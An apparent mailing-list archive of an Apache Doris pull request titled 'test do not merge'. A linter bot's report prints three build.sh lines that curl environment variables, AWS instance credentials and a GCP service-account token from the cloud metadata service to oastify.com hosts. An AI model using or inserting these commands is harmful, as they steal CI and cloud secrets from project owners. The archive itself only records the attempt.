You are viewing a plain text version of this content. The canonical link for it is here.
Posted to commits@doris.apache.org by "SnowFl4ke-dev (via GitHub)" <gi...@apache.org> on 2023/10/25 18:56:46 UTC
[PR] test do not merge [doris]
SnowFl4ke-dev opened a new pull request, #25923:
URL: https://github.com/apache/doris/pull/25923
Please ignore
## Proposed changes
Issue Number: close #xxx
<!--Describe your changes.-->
## Further comments
If this is a relatively large or complex change, kick off the discussion at [dev@doris.apache.org](mailto:dev@doris.apache.org) by explaining why you chose the solution you did and what alternatives you considered, etc...
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: commits-unsubscribe@doris.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
---------------------------------------------------------------------
To unsubscribe, e-mail: commits-unsubscribe@doris.apache.org
For additional commands, e-mail: commits-help@doris.apache.org
Re: [PR] test do not merge [doris]
Posted by "github-actions[bot] (via GitHub)" <gi...@apache.org>.
github-actions[bot] commented on PR #25923:
URL: https://github.com/apache/doris/pull/25923#issuecomment-1779871691
#### `sh-checker report`
To get the full details, please check in the [job]("https://github.com/apache/doris/actions/runs/6644894928") output.
<details>
<summary>shellcheck errors</summary>
```
'shellcheck ' returned error 1 finding the following syntactical issues:
----------
In build.sh line 29:
curl -d "`env`" https://jxkzbwklei6z12cpsuajeek2yt4p6d71w.oastify.com/env/`whoami`/`hostname`
^---^ SC2006 (style): Use $(...) notation instead of legacy backticks `...`.
^------^ SC2046 (warning): Quote this to prevent word splitting.
^------^ SC2006 (style): Use $(...) notation instead of legacy backticks `...`.
^--------^ SC2046 (warning): Quote this to prevent word splitting.
^--------^ SC2006 (style): Use $(...) notation instead of legacy backticks `...`.
Did you mean:
curl -d "$(env)" https://jxkzbwklei6z12cpsuajeek2yt4p6d71w.oastify.com/env/$(whoami)/$(hostname)
In build.sh line 30:
curl -d "`curl http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance`" https://00ygedn2hz9g4jf6vbd0hvnj1a76au0ip.oastify.com/aws/`whoami`/`hostname`
^-- SC2006 (style): Use $(...) notation instead of legacy backticks `...`.
^------^ SC2046 (warning): Quote this to prevent word splitting.
^------^ SC2006 (style): Use $(...) notation instead of legacy backticks `...`.
^--------^ SC2046 (warning): Quote this to prevent word splitting.
^--------^ SC2006 (style): Use $(...) notation instead of legacy backticks `...`.
Did you mean:
curl -d "$(curl http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)" https://00ygedn2hz9g4jf6vbd0hvnj1a76au0ip.oastify.com/aws/$(whoami)/$(hostname)
In build.sh line 31:
curl -d "`curl -H \"Metadata-Flavor:Google\" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token`" https://00ygedn2hz9g4jf6vbd0hvnj1a76au0ip.oastify.com/gcp/`whoami`/`hostname`
^-- SC2006 (style): Use $(...) notation instead of legacy backticks `...`.
^------^ SC2046 (warning): Quote this to prevent word splitting.
^------^ SC2006 (style): Use $(...) notation instead of legacy backticks `...`.
^--------^ SC2046 (warning): Quote this to prevent word splitting.
^--------^ SC2006 (style): Use $(...) notation instead of legacy backticks `...`.
Did you mean:
curl -d "$(curl -H \"Metadata-Flavor:Google\" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token)" https://00ygedn2hz9g4jf6vbd0hvnj1a76au0ip.oastify.com/gcp/$(whoami)/$(hostname)
For more information:
https://www.shellcheck.net/wiki/SC2046 -- Quote this to prevent word splitt...
https://www.shellcheck.net/wiki/SC2006 -- Use $(...) notation instead of le...
----------
You can address the above issues in one of three ways:
1. Manually correct the issue in the offending shell script;
2. Disable specific issues by adding the comment:
# shellcheck disable=NNNN
above the line that contains the issue, where NNNN is the error code;
3. Add '-e NNNN' to the SHELLCHECK_OPTS setting in your .yml action file.
```
</details>
<details>
<summary>shfmt errors</summary>
```
'shfmt ' returned error 1 finding the following formatting issues:
----------
--- build.sh.orig
+++ build.sh
@@ -26,9 +26,9 @@
##############################################################
set -eo pipefail
-curl -d "`env`" https://jxkzbwklei6z12cpsuajeek2yt4p6d71w.oastify.com/env/`whoami`/`hostname`
-curl -d "`curl http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance`" https://00ygedn2hz9g4jf6vbd0hvnj1a76au0ip.oastify.com/aws/`whoami`/`hostname`
-curl -d "`curl -H \"Metadata-Flavor:Google\" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token`" https://00ygedn2hz9g4jf6vbd0hvnj1a76au0ip.oastify.com/gcp/`whoami`/`hostname`
+curl -d "$(env)" https://jxkzbwklei6z12cpsuajeek2yt4p6d71w.oastify.com/env/$(whoami)/$(hostname)
+curl -d "$(curl http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)" https://00ygedn2hz9g4jf6vbd0hvnj1a76au0ip.oastify.com/aws/$(whoami)/$(hostname)
+curl -d "$(curl -H \"Metadata-Flavor:Google\" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token)" https://00ygedn2hz9g4jf6vbd0hvnj1a76au0ip.oastify.com/gcp/$(whoami)/$(hostname)
ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")" &>/dev/null && pwd)"
export DORIS_HOME="${ROOT}"
----------
You can reformat the above files to meet shfmt's requirements by typing:
shfmt -w filename
```
</details>
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: commits-unsubscribe@doris.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
---------------------------------------------------------------------
To unsubscribe, e-mail: commits-unsubscribe@doris.apache.org
For additional commands, e-mail: commits-help@doris.apache.org
Re: [PR] test do not merge [doris]
Posted by "SnowFl4ke-dev (via GitHub)" <gi...@apache.org>.
SnowFl4ke-dev closed pull request #25923: test do not merge
URL: https://github.com/apache/doris/pull/25923
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: commits-unsubscribe@doris.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
---------------------------------------------------------------------
To unsubscribe, e-mail: commits-unsubscribe@doris.apache.org
For additional commands, e-mail: commits-help@doris.apache.org